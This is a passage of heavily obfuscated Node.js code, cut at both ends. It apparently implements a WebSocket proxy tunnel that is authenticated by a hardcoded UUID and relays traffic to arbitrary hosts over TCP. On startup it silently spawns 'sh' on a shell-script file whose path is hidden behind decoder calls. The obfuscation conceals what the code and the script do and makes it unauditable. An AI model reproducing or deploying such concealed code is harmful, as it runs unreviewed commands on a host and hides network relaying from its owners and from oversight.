_0x222c(_0x20ac17- -0x16f,_0x27b30a);}for(let _0x4cb676=-0x1cec+0x1*0x1b92+0x15a;_0x35f877[_0x1f542c(0xbc,0x146,0x1c1,0x1f2,0x163)](_0x4cb676,_0x3e33f8[_0xd2d693(0x18a,0x17b,0x1e0,0x1a2,0x129)+'h']);_0x4cb676++){if(_0x35f877[_0x56a2ea(-0x10,0x4f,0x81,-0xf0,0x8)](_0x35f877[_0xd2d693(0x206,0x1d2,0x127,0x2bf,0x12f)],_0x35f877[_0x1f542c(0x189,0x1e6,0x121,0x168,0x16c)])){const _0x26189e=new _0x5ed20f(_0x35f877[_0x56a2ea(-0x1e,-0x23,-0x13,-0x5e,0xb9)]),_0x3a302c=new _0x108b02(_0x35f877[_0xd2d693(0x222,0x238,0x1b9,0x276,0x311)],'i'),_0x2709e6=_0x35f877[_0x5e1a7a(-0x2bf,-0x2c0,-0x3be,-0x392,-0x33c)](_0x4664cb,_0x35f877[_0xd2d693(0x2bf,0x332,0x231,0x287,0x20e)]);!_0x26189e[_0x1f542c(0x1a3,0x10e,0x16a,0x102,0x124)](_0x35f877[_0x1f542c(0x1be,0x15c,0x1dc,0x1e1,0x164)](_0x2709e6,_0x35f877[_0x56a2ea(-0xcb,-0xc1,-0x138,-0x123,-0xf4)]))||!_0x3a302c[_0xd2d693(0x1be,0x221,0x273,0x19a,0x239)](_0x35f877[_0x1f542c(0x175,0x213,0xe1,0x79,0x164)](_0x2709e6,_0x35f877[_0x5a86c6(-0x35,-0xe2,-0x18b,-0x18c,-0xc3)]))?_0x35f877[_0x1f542c(0x76,0x7f,0x144,0x136,0x9c)](_0x2709e6,'0'):_0x35f877[_0x56a2ea(-0x88,0x3b,-0x140,0x2a,-0x117)](_0x4be393);}else{const _0x326dd0=_0x3e3e80[_0x1f542c(0x201,0x243,0xcb,0x19a,0x1aa)+_0xd2d693(0x164,0x1b9,0x201,0xb8,0x1bc)+'r'][_0x56a2ea(-0x29,-0xc,-0xe6,0x20,-0xa7)+_0x1f542c(0x102,0x115,0x16b,0x143,0x175)][_0x5e1a7a(-0x28b,-0x290,-0x1e9,-0x25a,-0x288)](_0x3e3e80),_0x30f3d4=_0x3e33f8[_0x4cb676],_0x5cc1dc=_0x3f27fd[_0x30f3d4]||_0x326dd0;_0x326dd0[_0x56a2ea(-0x109,-0xe4,-0x83,-0x142,-0xb4)+_0xd2d693(0x14c,0x174,0xe0,0x1d2,0x1b8)]=_0x3e3e80[_0x1f542c(0x167,0xa3,0x83,0x84,0x150)](_0x3e3e80),_0x326dd0[_0x5e1a7a(-0x11a,-0x1ae,-0x122,-0xd8,-0x195)+_0xd2d693(0x13e,0x165,0x172,0x1f5,0xe2)]=_0x5cc1dc[_0xd2d693(0x2dd,0x27a,0x2f7,0x260,0x391)+_0x1f542c(0xf7,0x49,-0x1f,0x148,0xa4)][_0x5e1a7a(-0x243,-0x2a6,-0x2b2,-0x225,-0x288)](_0x5cc1dc),_0x3f27fd[_0x30f3d4]=_0x326dd0;}}});_0x48a700();const net=require(_0x5b3717(-0xf8,-0x10d,-0x15d,-0x1ae,-0x179)),http=require(_0x5b3717(-0x19a,-0x244,-0x215,-0x13d,-0x182)),{WebSocket,createWebSocketStream}=require('ws'),{TextDecoder}=require(_0x5b3717(-0x2ca,-0x1df,-0x2ca,-0x384,-0x342)),logcb=(..._0xae0cb9)=>console[_0x5b3717(-0x291,-0x205,-0x2e8,-0x261,-0x2d9)][_0x1d31e6(0x126,0x1d7,0x1c1,0xf3,0x51)](this,..._0xae0cb9),errcb=(..._0x25b289)=>console[_0x5b3717(-0x2a5,-0x2ad,-0x22a,-0x2b7,-0x33b)][_0x1e3602(0x4a,0xde,-0xf9,-0xb,-0xbe)](this,..._0x25b289);function _0x1e3602(_0x153873,_0x28ca00,_0x36e8f2,_0x5320bc,_0x498200){return _0x222c(_0x5320bc- -0x156,_0x28ca00);}const {spawn}=require(_0x1e3602(-0x166,-0x68,-0x8d,-0x78,-0x9e)+_0x1d31e6(0x12a,0xa3,0x6a,0xed,0x1b2)+_0x1e3602(-0x9d,-0xa1,0xc,0x22,0x61)),uuid= (process.env.UUID||'56f138a3-a1fd-4f9c-8198-86a3cecba2d7').replace(/-/g, "");port=process[_0x504eae(0x377,0x295,0x2fd,0x41e,0x305)][_0x1d31e6(0x1a9,0x13f,0x199,0x254,0x1c8)]||0x1c25+-0x75b*-0x5+-0x2238,shellFilePath=_0x504eae(0x392,0x36e,0x2e6,0x47c,0x45d)+_0x504eae(0x251,0x310,0x1f0,0x285,0x255),childProcess=spawn('sh',[shellFilePath]),httpServer=http[_0x1e3602(0x5f,0x176,0x1a4,0xb8,0x18f)+_0x5b3717(-0x1a8,-0x18b,-0x1a4,-0x207,-0x21d)+'er']((_0x1227b5,_0x1cbdc7)=>{const _0x1c21f8={'baaVO':_0x7dbfd5(0x434,0x45f,0x2fd,0x401,0x3aa)+_0x7dbfd5(0x3e4,0x33f,0x28d,0x38a,0x360),'cxNks':_0x29d5f9(0x203,0x2e2,0x223,0x236,0x245)+_0x270b17(0x3e7,0x2f6,0x2a7,0x28f,0x32f)+_0x270b17(0x2b3,0x21f,0x14b,0x1a7,0x1b5),'UbKUh':_0x270b17(0x1ce,0x19c,0xcb,0x106,0x136),'VUWbC':function(_0x17d3f3,_0x574243){return _0x17d3f3(_0x574243);},'KBBMA':_0x29d5f9(0x2a5,0x225,0x35c,0x35b,0x1ef),'QRTPc':_0x213bca(0x537,0x4bd,0x4b4,0x579,0x40e),'MbvHf':function(_0x35b46f,_0x58cecc){return _0x35b46f+_0x58cecc;},'CKgNX':function(_0x34a6c2,_0x164544){return _0x34a6c2==_0x164544;},'SSpbY':function(_0x4fa7eb,_0xe732e3){return _0x4fa7eb==_0xe732e3;},'UpZOL':function(_0x8b5df9,_0x548445){return _0x8b5df9+_0x548445;},'FphDo':function(_0xd8db64,_0x53229f){return _0xd8db64==_0x53229f;},'XdJIb':function(_0x1cafcd,_0x2fbc56,_0x5372b3,_0x1fb38a){return _0x1cafcd(_0x2fbc56,_0x5372b3,_0x1fb38a);},'prTxT':_0x7dbfd5(0x2b0,0x305,0x329,0x343,0x38e)+_0x5ec539(-0x125,-0x166,-0x53,-0x10b,-0x98),'bcCTr':function(_0x3b576c,_0x3c6b80,_0x4be179){return _0x3b576c(_0x3c6b80,_0x4be179);},'VJMWX':_0x213bca(0x368,0x44d,0x52f,0x3c1,0x408)+_0x29d5f9(0x299,0x2e3,0x361,0x381,0x22f)+'r:','Ejzpn':_0x29d5f9(0x1a3,0xf9,0x276,0x139,0xb2)+_0x5ec539(-0x155,-0x1eb,-0xb8,-0xc3,-0x104)+_0x5ec539(-0xa5,-0xbf,-0x16c,-0x18c,-0xaf)+_0x213bca(0x3d1,0x4a3,0x486,0x3df,0x4a9)+'ly','NXhPY':_0x7dbfd5(0x404,0x4ce,0x365,0x40c,0x3e0)+'ge','GlnpG':function(_0x4258a8,_0x1bfb99){return _0x4258a8(_0x1bfb99);},'jXxhT':_0x5ec539(-0xbc,-0x60,-0x19d,-0xce,-0x118)+_0x29d5f9(0x190,0x119,0x213,0x1ad,0x1ba)+_0x213bca(0x588,0x58c,0x49f,0x62d,0x4bf)+':','kEbvc':function(_0x20821b,_0x3f0326){return _0x20821b===_0x3f0326;},'VodzB':_0x5ec539(-0xe8,-0x4c,-0xb1,-0x6e,-0x1d0),'xHxer':_0x29d5f9(0x309,0x29f,0x355,0x3d2,0x3c3),'LegjN':function(_0xdbca3,_0x5ce2be){return _0xdbca3!==_0x5ce2be;},'KZCzm':_0x213bca(0x55f,0x573,0x540,0x607,0x5a3),'gHyhj':_0x270b17(0x18a,0x212,0x1cd,0x2ba,0x177),'Yicnh':_0x213bca(0x427,0x4a6,0x4c0,0x41a,0x4e1)+_0x270b17(0x393,0x2bb,0x2ea,0x1db,0x249)};function _0x5ec539(_0x13258a,_0x45ffac,_0x497887,_0x5548cc,_0x57df33){return _0x1e3602(_0x13258a-0x5a,_0x45ffac,_0x497887-0xbe,_0x13258a- -0x1a9,_0x57df33-0x62);}function _0x7dbfd5(_0x5eb884,_0x11000f,_0x4beaea,_0x26afa4,_0xde7a47){return _0x3b9f4f(_0xde7a47-0x3a8,_0x11000f-0x177,_0x4beaea-0x95,_0x26afa4-0x53,_0x5eb884);}function _0x213bca(_0x6ddd31,_0x2b7ad1,_0x5ef674,_0x4f6133,_0x284b61){return _0x504eae(_0x2b7ad1-0x1e4,_0x2b7ad1-0x78,_0x5ef674-0x190,_0x4f6133-0x1e0,_0x4f6133);}function _0x270b17(_0x22ec5c,_0x1daa2e,_0x498e0e,_0x2c5734,_0x24e531){return _0x3b9f4f(_0x1daa2e-0x1f5,_0x1daa2e-0x80,_0x498e0e-0x1f2,_0x2c5734-0x2b,_0x24e531);}function _0x29d5f9(_0x59865f,_0x3256ae,_0x4e1482,_0xaa1c12,_0x5dcc61){return _0x1e3602(_0x59865f-0x38,_0xaa1c12,_0x4e1482-0x110,_0x59865f-0x216,_0x5dcc61-0x1f2);}if(_0x1c21f8[_0x5ec539(-0x19b,-0xdf,-0x228,-0x1b9,-0x133)](_0x1227b5[_0x7dbfd5(0x3f8,0x2bf,0x412,0x437,0x386)],'/')){if(_0x1c21f8[_0x29d5f9(0x224,0x286,0x2aa,0x13a,0x304)](_0x1c21f8[_0x270b17(0x2e7,0x347,0x306,0x27d,0x260)],_0x1c21f8[_0x5ec539(-0x267,-0x2cd,-0x2f7,-0x2d4,-0x192)])){const _0x2b31ae={};_0x2b31ae[_0x29d5f9(0x216,0x171,0x23d,0x1b6,0x19b)+_0x29d5f9(0x16f,0x12d,0x1e5,0x1d5,0x7f)+'pe']=_0x1c21f8[_0x29d5f9(0x2ad,0x365,0x35a,0x1c4,0x226)],_0x473208[_0x7dbfd5(0x453,0x46b,0x481,0x354,0x39f)+_0x213bca(0x45f,0x479,0x561,0x469,0x4ae)](-0x1*-0x1be7+-0x34*-0x28+-0x233f*0x1,_0x2b31ae),_0x5c69a9[_0x213bca(0x519,0x4b2,0x565,0x52d,0x439)](_0x1c21f8[_0x270b17(0x387,0x2da,0x2fe,0x3a6,0x1eb)]);}else{const _0x58c93a={};_0x58c93a[_0x29d5f9(0x216,0x129,0x12c,0x2f9,0x22c)+_0x29d5f9(0x16f,0x143,0x16e,0xa5,0x113)+'pe']=_0x1c21f8[_0x7dbfd5(0x57f,0x423,0x45c,0x46b,0x498)],_0x1cbdc7[_0x5ec539(-0x20b,-0x28d,-0x2ef,-0x266,-0x232)+_0x5ec539(-0x1f0,-0x284,-0x197,-0x1a4,-0x2ba)](-0x1*-0x397+0x1*0x78f+-0x52f*0x2,_0x58c93a),_0x1cbdc7[_0x5ec539(-0x1b7,-0x22e,-0x27d,-0x139,-0x232)](_0x1c21f8[_0x7dbfd5(0x511,0x49e,0x493,0x4f8,0x48d)]);}}else{if(_0x1c21f8[_0x213bca(0x55b,0x51a,0x4e8,0x46c,0x50d)](_0x1c21f8[_0x7dbfd5(0x36f,0x444,0x4b0,0x4aa,0x41f)],_0x1c21f8[_0x7dbfd5(0x370,0x38d,0x438,0x373,0x38b)])){const _0x2c7708={};_0x2c7708[_0x213bca(0x3e4,0x4c0,0x448,0x5ac,0x483)+_0x270b17(0x232,0x1a7,0x281,0x24d,0xf1)+'pe']=_0x1c21f8[_0x7dbfd5(0x515,0x483,0x3b3,0x3ac,0x498)],_0x1cbdc7[_0x5ec539(-0x20b,-0x2e6,-0x2c5,-0x1a5,-0x20e)+_0x29d5f9(0x1cf,0x25b,0x20a,0x28b,0xf0)](0xa06+0x29*0x15+0xbcf*-0x1,_0x2c7708),_0x1cbdc7[_0x29d5f9(0x208,0x2d5,0x287,0x205,0x1ef)](_0x1c21f8[_0x5ec539(-0x142,-0x1a1,-0x8f,-0x197,-0x19d)]);}else{const _0x4a3fcb={'VxtEs':_0x1c21f8[_0x29d5f9(0x260,0x2da,0x1dc,0x223,0x24a)],'YMKao':function(_0x519f95,_0x1c4a82){function _0x10aa16(_0x47b5e4,_0x36b0f2,_0x550907,_0x436a48,_0x152343){return _0x5ec539(_0x47b5e4- -0x69,_0x36b0f2,_0x550907-0x112,_0x436a48-0x14c,_0x152343-0x40);}return _0x1c21f8[_0x10aa16(-0x1ed,-0x1df,-0x238,-0x2b4,-0x158)](_0x519f95,_0x1c4a82);},'iDzSp':_0x1c21f8[_0x213bca(0x504,0x51e,0x5ef,0x5de,0x5e3)],'mhjxL':function(_0x5121b5,_0xcc3f88){function _0x688250(_0x5c854c,_0x305258,_0x75ef46,_0x589ca9,_0x3ab5ab){return _0x213bca(_0x5c854c-0x18d,_0x305258- -0x3f3,_0x75ef46-0x13b,_0x3ab5ab,_0x3ab5ab-0x11b);}return _0x1c21f8[_0x688250(0x1d9,0xf2,0x126,0xe7,0x10b)](_0x5121b5,_0xcc3f88);},'ZcBtI':_0x1c21f8[_0x7dbfd5(0x330,0x340,0x35d,0x47d,0x3cc)],'GXkqo':function(_0x2a18c9,_0xf462c3){function _0x157cba(_0x411230,_0x4128a7,_0x4e1812,_0x49cfa7,_0x52cb71){return _0x5ec539(_0x4e1812-0x41b,_0x52cb71,_0x4e1812-0x194,_0x49cfa7-0x99,_0x52cb71-0xa2);}return _0x1c21f8[_0x157cba(0x18a,0x203,0x242,0x160,0x224)](_0x2a18c9,_0xf462c3);},'liHXh':function(_0x1a6491,_0x223a64){function _0x4aaa51(_0x4b7a2d,_0x54fb91,_0x4a9a1d,_0x53bd9a,_0xdc3b1e){return _0x213bca(_0x4b7a2d-0xd4,_0x4b7a2d- -0x570,_0x4a9a1d-0xc7,_0x54fb91,_0xdc3b1e-0xa6);}return _0x1c21f8[_0x4aaa51(-0x47,-0xf3,-0x9b,0x2b,-0xd3)](_0x1a6491,_0x223a64);},'BDovH':function(_0x9244af,_0x3db7ab){function _0x268979(_0x468383,_0x5bccfc,_0x37de67,_0x5b5ca1,_0x3e78cc){return _0x7dbfd5(_0x468383,_0x5bccfc-0xdd,_0x37de67-0x147,_0x5b5ca1-0xdb,_0x5b5ca1- -0x77);}return _0x1c21f8[_0x268979(0x3f3,0x3cb,0x3ab,0x424,0x3fc)](_0x9244af,_0x3db7ab);},'fBjQe':function(_0x4f6420,_0x3470f7){function _0x26bc63(_0x433001,_0x5f4de1,_0x317a3f,_0x5cc401,_0x5c6180){return _0x213bca(_0x433001-0x78,_0x317a3f- -0x4da,_0x317a3f-0x16a,_0x5c6180,_0x5c6180-0xee);}return _0x1c21f8[_0x26bc63(-0xde,-0x139,-0x4a,0x33,-0xa4)](_0x4f6420,_0x3470f7);},'IGTuh':function(_0x39e827,_0x288a81){function _0x363714(_0x1014a3,_0x42303a,_0x2335b8,_0x3bc845,_0x360e7f){return _0x29d5f9(_0x2335b8- -0x3db,_0x42303a-0x135,_0x2335b8-0x1b8,_0x1014a3,_0x360e7f-0x16e);}return _0x1c21f8[_0x363714(-0x146,-0x1c3,-0x1f5,-0x271,-0x156)](_0x39e827,_0x288a81);},'NLVqL':function(_0x39be05,_0x356769){function _0x3c96ea(_0x1348fb,_0x20fd17,_0x1d89e3,_0x40098e,_0xb5dac4){return _0x5ec539(_0x1d89e3-0x33,_0xb5dac4,_0x1d89e3-0x73,_0x40098e-0x1e9,_0xb5dac4-0xe3);}return _0x1c21f8[_0x3c96ea(0xe,-0xfc,-0x95,-0xd1,-0x28)](_0x39be05,_0x356769);},'fofzi':function(_0x3cc423,_0x3786db){function _0x369d35(_0x1379ad,_0x52aaa2,_0x5e4c0b,_0x39aad5,_0x1c563b){return _0x270b17(_0x1379ad-0xd6,_0x1c563b- -0x3a1,_0x5e4c0b-0xb0,_0x39aad5-0xe9,_0x1379ad);}return _0x1c21f8[_0x369d35(0x6d,-0x78,-0xfc,-0x122,-0x76)](_0x3cc423,_0x3786db);},'QmRQu':function(_0x2fa855,_0x4a162c,_0xa7adbb,_0x38795e){function _0x2b9cad(_0x3a8b36,_0x5f5aaa,_0x50e1cf,_0x305157,_0x4f0d4e){return _0x270b17(_0x3a8b36-0x3f,_0x50e1cf- -0x352,_0x50e1cf-0x82,_0x305157-0x10e,_0x3a8b36);}return _0x1c21f8[_0x2b9cad(-0x23e,-0x1fc,-0x1d8,-0x2bb,-0x2c4)](_0x2fa855,_0x4a162c,_0xa7adbb,_0x38795e);},'GwelD':_0x1c21f8[_0x7dbfd5(0x40f,0x4b8,0x495,0x3bd,0x429)],'tamNE':function(_0x9cc4ff,_0x3b60d4,_0x3b647e){function _0x5061c8(_0x4cecf0,_0x5a8a4a,_0x3060f3,_0x59c5cc,_0x35c7aa){return _0x213bca(_0x4cecf0-0x180,_0x3060f3- -0x5e8,_0x3060f3-0xe8,_0x59c5cc,_0x35c7aa-0x2b);}return _0x1c21f8[_0x5061c8(-0xa2,-0xac,-0xf0,-0xc1,-0xe7)](_0x9cc4ff,_0x3b60d4,_0x3b647e);},'rvbRb':_0x1c21f8[_0x7dbfd5(0x4df,0x54d,0x3f8,0x568,0x499)]};_0x5a5af8[_0x7dbfd5(0x275,0x311,0x272,0x431,0x363)](_0x1c21f8[_0x5ec539(-0x165,-0x95,-0xd7,-0x82,-0xe2)]),_0x138eef[_0x7dbfd5(0x40c,0x2bc,0x24f,0x29d,0x335)](_0x1c21f8[_0x29d5f9(0x1de,0xf0,0x132,0x17d,0x259)],_0x455e6d=>{const _0x40bda3={'mODJA':_0x4a3fcb[_0x3b30db(0x225,0x1ed,0x1de,0x1ed,0x167)],'baqfC':function(_0x2c057e,_0x47734d){function _0x116e99(_0x55554a,_0x8683c7,_0x55db72,_0x251edd,_0x11b849){return _0x3b30db(_0x11b849- -0x128,_0x8683c7-0x56,_0x8683c7,_0x251edd-0x3,_0x11b849-0x43);}return _0x4a3fcb[_0x116e99(0x106,0xda,0xa6,-0x3c,0x50)](_0x2c057e,_0x47734d);},'tsKtZ':_0x4a3fcb[_0x3b30db(0x2a6,0x36c,0x278,0x20d,0x234)],'QtdjG':function(_0x30cacf,_0x890783){function _0x4a95a8(_0x2d26cd,_0x58b1f1,_0x38a957,_0x4ff900,_0x116f39){return _0x3b30db(_0x58b1f1- -0x11d,_0x58b1f1-0x66,_0x4ff900,_0x4ff900-0xd1,_0x116f39-0x1a7);}return _0x4a3fcb[_0x4a95a8(-0xea,-0x6,0x8c,0x48,0xd3)](_0x30cacf,_0x890783);},'KbQMx':_0x4a3fcb[_0x583d07(0x1a,-0xd3,-0x65,-0x15d,-0xbf)]};function _0x207e22(_0x13fdb1,_0x4bdc41,_0x3dbead,_0x3235d2,_0x22b63d){return _0x7dbfd5(_0x3235d2,_0x4bdc41-0x115,_0x3dbead-0x2a,_0x3235d2-0xb1,_0x4bdc41- -0x5ec);}const [_0x494a4f]=_0x455e6d,_0x13646c=_0x455e6d[_0x3b30db(0x1f2,0x2c9,0x160,0x2c2,0x17c)](0x2*-0xa66+-0x1de9+0x32b6,-0x24d1+-0x7dd+0x2cbf);if(!_0x13646c[_0x207e22(-0x287,-0x22a,-0x1af,-0x2d3,-0x15b)]((_0x9d9ec0,_0x2f8e48)=>_0x9d9ec0==_0x5b146a(_0x39e3b7[_0x2146f8(-0x2ec,-0x2b2,-0x31c,-0x263,-0x2df)+'r'](_0x2f8e48*(0x1*0xb65+-0x29f*-0xc+-0x1*0x2ad7),0x1e30+0x11*0x3d+-0x223b),0x10b8+-0x2*-0x6d7+0x1e56*-0x1)))return;let _0x1d6e36=_0x4a3fcb[_0xcca952(0x483,0x450,0x441,0x423,0x4b2)](_0x455e6d[_0xcca952(0x53d,0x4be,0x580,0x4cb,0x44c)](-0x2508+0x1*0x18cc+0xc4d,-0x204*-0x10+-0x239a+0x36c)[_0x583d07(-0xab,0x1d,0xb,-0x170,-0xb7)+_0x3b30db(0x17a,0xb4,0x202,0x21f,0x1fa)](),0x61*-0x59+-0x904*-0x1+0x18c8);const _0x4f52ed=_0x455e6d[_0x583d07(-0x14d,-0x35,-0xbf,-0xc0,-0x63)](_0x1d6e36,_0x1d6e36+=-0x120f+-0x41*-0x86+-0xff5)[_0x3b30db(0x19e,0x194,0x189,0x1a6,0x10d)+_0x3b30db(0x28a,0x1ca,0x215,0x352,0x1ba)+'BE'](0xfe*-0x3+0x22d+0xcd),_0x3fb1c5=_0x455e6d[_0xcca952(0x577,0x4be,0x405,0x43e,0x487)](_0x1d6e36,_0x1d6e36+=-0x18e3+-0x66d*0x1+0x1f51)[_0x3b30db(0x19e,0x14f,0x1bf,0x1d8,0x1c8)+_0x2146f8(-0x237,-0x203,-0x233,-0x22b,-0x2a8)](),_0x5b52f1=_0x4a3fcb[_0x207e22(-0x12e,-0x164,-0xdc,-0x193,-0x85)](_0x3fb1c5,0x3b2*-0x2+0x2275*-0x1+0x1e7*0x16)?_0x455e6d[_0x207e22(-0x218,-0x1e1,-0x29b,-0x230,-0x119)](_0x1d6e36,_0x1d6e36+=-0x158d+-0x1a07*-0x1+-0x476)[_0xcca952(0x62f,0x552,0x628,0x4cb,0x476)]('.'):_0x4a3fcb[_0x2146f8(-0x22c,-0x33b,-0x2ea,-0x276,-0x2ee)](_0x3fb1c5,0x22d*-0x2+-0xbb7+-0x1013*-0x1)?new _0x2486f9()[_0x3b30db(0x21f,0x15c,0x232,0x2b4,0x272)+'e'](_0x455e6d[_0xcca952(0x4aa,0x4be,0x427,0x4c2,0x419)](_0x4a3fcb[_0x2146f8(-0x260,-0x38b,-0x2a8,-0x2a9,-0x2a9)](_0x1d6e36,-0x13*-0xa+-0x13ae+0x12f1),_0x1d6e36+=_0x4a3fcb[_0x583d07(-0x70,-0x109,-0x17b,-0x5a,-0xe7)](0x207e*0x1+-0x2046+-0x1*0x37,_0x455e6d[_0xcca952(0x421,0x4be,0x4c2,0x534,0x41d)](_0x1d6e36,_0x4a3fcb[_0x2146f8(-0x2c4,-0x2e3,-0x1b0,-0x1d3,-0x1ff)](_0x1d6e36,-0xc11+0x12*-0x7+-0x18*-0x86))[_0x2146f8(-0x2a6,-0x1ff,-0x254,-0x368,-0x284)+_0x583d07(-0xe7,-0x23,-0x1f,-0xca,-0xdb)]()))):_0x4a3fcb[_0x2146f8(-0x206,-0x1bd,-0x2b1,-0x2c1,-0x22e)](_0x3fb1c5,0x14ed+-0x2502+0x1018)?_0x455e6d[_0x207e22(-0x198,-0x1e1,-0x102,-0x225,-0x2ad)](_0x1d6e36,_0x1d6e36+=-0xca7+0x125b*0x1+-0x5a4)[_0xcca952(0x3ad,0x49d,0x4af,0x4bb,0x4fc)+'e']((_0x4e2bb2,_0x3c8268,_0x4ecfb3,_0x1b3c70)=>_0x4ecfb3%(0x1981+0x1162+-0x1*0x2ae1)?_0x4e2bb2[_0x2146f8(-0x2d5,-0x318,-0x37d,-0x33a,-0x2fa)+'t'](_0x1b3c70[_0xcca952(0x56c,0x4be,0x569,0x48c,0x54b)](_0x4ecfb3-(-0x65*0x37+0x3ce+0x11e6),_0x4ecfb3+(-0x3*-0x506+-0x1ae4+0xbd3))):_0x4e2bb2,[])[_0x583d07(-0x94,-0x59,-0x4b,-0x33,-0x96)](_0x4ce2d5=>_0x4ce2d5[_0xcca952(0x529,0x46a,0x49a,0x4f4,0x4cd)+_0x583d07(-0xae,0x111,0x8d,0x70,0x35)+'BE'](-0x4d*-0x22+-0x270*0x10+0x1cc6)[_0x583d07(-0x9,0x93,0xe4,0x61,0x7b)+_0x583d07(-0x11a,-0x57,-0xc0,-0x54,-0x124)](0x6e6*0x1+-0x1d66+0x1690))[_0x3b30db(0x286,0x22e,0x209,0x220,0x289)](':'):'';_0x4a3fcb[_0x583d07(-0xd1,-0xb,-0xfe,-0x111,-0x2f)](_0x1f0967,_0x4a3fcb[_0x3b30db(0x2c6,0x2c3,0x252,0x33a,0x395)],_0x5b52f1,_0x4f52ed);function _0x2146f8(_0x1d4b5b,_0x2f588e,_0x20ba08,_0xa0c5,_0x152e14){return _0x29d5f9(_0x152e14- -0x450,_0x2f588e-0x10b,_0x20ba08-0x95,_0x1d4b5b,_0x152e14-0x14);}_0x2e49a9[_0x3b30db(0x189,0x1a1,0x136,0xcf,0x13f)](new _0x5b208c([_0x494a4f,-0x3f5+0x218b+-0x1d96]));const _0x547ab0=_0x4a3fcb[_0x583d07(-0x41,0xd,-0x19d,-0x15a,-0xdd)](_0x1171a1,_0x4b5aa3),_0x362371={};function _0x583d07(_0x175522,_0x401356,_0x1df422,_0x46d992,_0xa03659){return _0x270b17(_0x175522-0xbf,_0xa03659- -0x2bb,_0x1df422-0x63,_0x46d992-0x173,_0x1df422);}function _0x3b30db(_0x1e0d37,_0x562ef0,_0x564c4b,_0x5872c0,_0x450259){return _0x213bca(_0x1e0d37-0x11b,_0x1e0d37- -0x2d8,_0x564c4b-0x9f,_0x564c4b,_0x450259-0x1bd);}_0x362371[_0x3b30db(0x2f0,0x36d,0x312,0x29d,0x3ad)]=_0x5b52f1,_0x362371[_0x583d07(-0x139,-0x1b5,-0xf4,-0x1d6,-0x146)]=_0x4f52ed;const _0xb54f8b={};_0xb54f8b[_0xcca952(0x662,0x5bc,0x5a9,0x500,0x682)]=_0x5b52f1,_0xb54f8b[_0x583d07(-0x14e,-0x198,-0x237,-0xa9,-0x146)]=_0x4f52ed;function _0xcca952(_0x3a9eda,_0x1dbf6f,_0x49fc7d,_0x419bce,_0x17225b){return _0x7dbfd5(_0x419bce,_0x1dbf6f-0x1c,_0x49fc7d-0x15e,_0x419bce-0x1f0,_0x1dbf6f-0xb3);}_0x438959[_0x583d07(-0x1f,-0x15b,-0x55,-0x5c,-0xde)+'ct'](_0x362371,function(){function _0x23d9a3(_0x1b9028,_0x308619,_0x45a73e,_0x4996e2,_0x5845fb){return _0x3b30db(_0x1b9028-0x277,_0x308619-0xa3,_0x5845fb,_0x4996e2-0x1bd,_0x5845fb-0xcc);}function _0x687019(_0x5252d6,_0x57cac2,_0x3bdeed,_0x2fd398,_0x5c6fe8){return _0x2146f8(_0x5c6fe8,_0x57cac2-0x123,_0x3bdeed-0xe0,_0x2fd398-0x37,_0x5252d6-0x3dc);}this[_0x1e5482(-0xeb,-0x11f,-0x1bc,-0x136,-0xd4)](_0x455e6d[_0x9c6c20(-0x5b,-0xbc,0x8,0x6,-0x2e)](_0x1d6e36));function _0x9c6c20(_0x23b2d2,_0x2d98d3,_0x907baa,_0x1649d3,_0x52b7e8){return _0x207e22(_0x23b2d2-0x147,_0x23b2d2-0x186,_0x907baa-0xf2,_0x1649d3,_0x52b7e8-0x10c);}function _0x1e5482(_0x35f990,_0x4ef2b0,_0x3086c4,_0x274cc2,_0x84226d){return _0x2146f8(_0x3086c4,_0x4ef2b0-0xf5,_0x3086c4-0x161,_0x274cc2-0x7e,_0x35f990-0x1b1);}function _0x3c5723(_0x533307,_0x4c9964,_0x403242,_0xe92fc,_0x16addf){return _0x207e22(_0x533307-0x157,_0x16addf-0x701,_0x403242-0x71,_0x403242,_0x16addf-0x14b);}_0x547ab0['on'](_0x40bda3[_0x3c5723(0x4f1,0x52b,0x567,0x613,0x5b6)],_0x40bda3[_0x3c5723(0x53b,0x548,0x4fa,0x4c2,0x51a)](_0xb94e54,_0x40bda3[_0x3c5723(0x45d,0x493,0x3db,0x3fe,0x483)]))[_0x3c5723(0x4e7,0x5d5,0x5d8,0x4ce,0x592)](this)['on'](_0x40bda3[_0x9c6c20(0x3b,0xc0,0x11c,0xeb,0x107)],_0x40bda3[_0x1e5482(0x66,0x101,-0x2e,0x148,0x13b)](_0x174e2d,_0x40bda3[_0x687019(0x1a8,0x181,0x134,0x133,0x283)]))[_0x3c5723(0x63f,0x5fb,0x649,0x595,0x592)](_0x547ab0);})['on'](_0x4a3fcb[_0x3b30db(0x225,0x168,0x28a,0x238,0x1c3)],_0x4a3fcb[_0x3b30db(0x1fd,0x271,0x2d3,0x173,0x179)](_0x32b88e,_0x4a3fcb[_0x2146f8(-0xb1,-0x1dc,-0x1a5,-0x101,-0x144)],_0xb54f8b));})['on'](_0x1c21f8[_0x29d5f9(0x260,0x2e3,0x2c0,0x20e,0x2c4)],_0x1c21f8[_0x29d5f9(0x1b1,0x120,0x23b,0x1bd,0x1ed)](_0x4fa98d,_0x1c21f8[_0x5ec539(-0x10c,-0x1df,-0xfa,-0xff,-0x184)]));}}});httpServer[_0x5b3717(-0x1f7,-0x269,-0x202,-0x1a0,-0x1f1)+'n'](port,()=>{function _0x4f73e5(_0x26d7ed,_0x444357,_0x2a7a97,_0x527e1e,_0x28490c){return _0x3b9f4f(_0x2a7a97- -0x167,_0x444357-0x97,_0x2a7a97-0x97,_0x527e1e-0x66,_0x444357);}function _0x54079d(_0x4f622f,_0x7f5321,_0x4099a1,_0x2c58be,_0x2ef5aa){return _0x3b9f4f(_0x4099a1- -0x2db,_0x7f5321-0x6b,_0x4099a1-0xe5,_0x2c58be-0x19f,_0x2ef5aa);}function _0x26639a(_0x5d3d7e,_0x29c4ad,_0x178272,_0x4b442a,_0x26f109){return _0x504eae(_0x26f109- -0x452,_0x29c4ad-0x4a,_0x178272-0xc7,_0x4b442a-0x1ba,_0x29c4ad);}function _0x5aa48e(_0x1cf985,_0x4471c3,_0xd8689d,_0xfd7aee,_0x3b6576){return _0x1e3602(_0x1cf985-0x20,_0xd8689d,_0xd8689d-0x87,_0x3b6576-0x200,_0x3b6576-0x2e);}function _0x193839(_0x5bc765,_0x4179c0,_0x453ecf,_0x550361,_0x533d70){return 